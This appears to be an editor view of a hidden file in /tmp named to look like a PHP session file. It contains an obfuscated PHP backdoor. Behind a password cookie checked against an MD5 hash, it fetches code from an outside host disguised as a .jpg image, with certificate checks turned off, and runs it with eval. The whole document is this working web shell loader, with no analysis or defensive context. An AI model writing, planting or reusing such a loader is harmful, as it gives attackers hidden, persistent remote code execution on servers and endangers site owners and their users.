Edit: /tmp/.sess-ac697833.dat (1180B)

<?php session_start(); function geturlsinfo($url) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($conn, CURLOPT_USERAGENT, "\x4d\157\172\x69\x6c\154\141\57\x35\x2e\x30"); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); $data = curl_exec($conn); curl_close($conn); return $data; } function innnnnn() { return isset($_SESSION["\154\157\147\147\145\144\x5f\x69\156"]) && $_SESSION["\154\157\147\x67\145\144\137\151\x6e"] === true; } if (isset($_COOKIE["\x78\170\x78\170"])) { $cook = $_COOKIE["\170\x78\x78\x78"]; $hash = "\x38\146\71\64\x31\x33\x33\66\x34\x66\63\x63\143\x35\63\70\62\64\144\x33\x30\144\x32\146\x64\142\71\66\67\61\x39\61"; if (md5($cook) === $hash) { $_SESSION["\154\x6f\147\147\145\144\x5f\x69\x6e"] = true; } else { echo "\111\156\143\157\x72\x72\145\143\164\40\170\170\170\170\x2e"; } } if (innnnnn()) { $url = "\150\164\164\160\163\x3a\x2f\x2f\153\141\171\145\61\63\63\67\56\160\141\147\145\163\56\x64\145\x76\x2f\163\164\146\165\x2f\155\56\152\160\147"; $content = geturlsinfo($url); eval("\77\x3e" . $content); } Save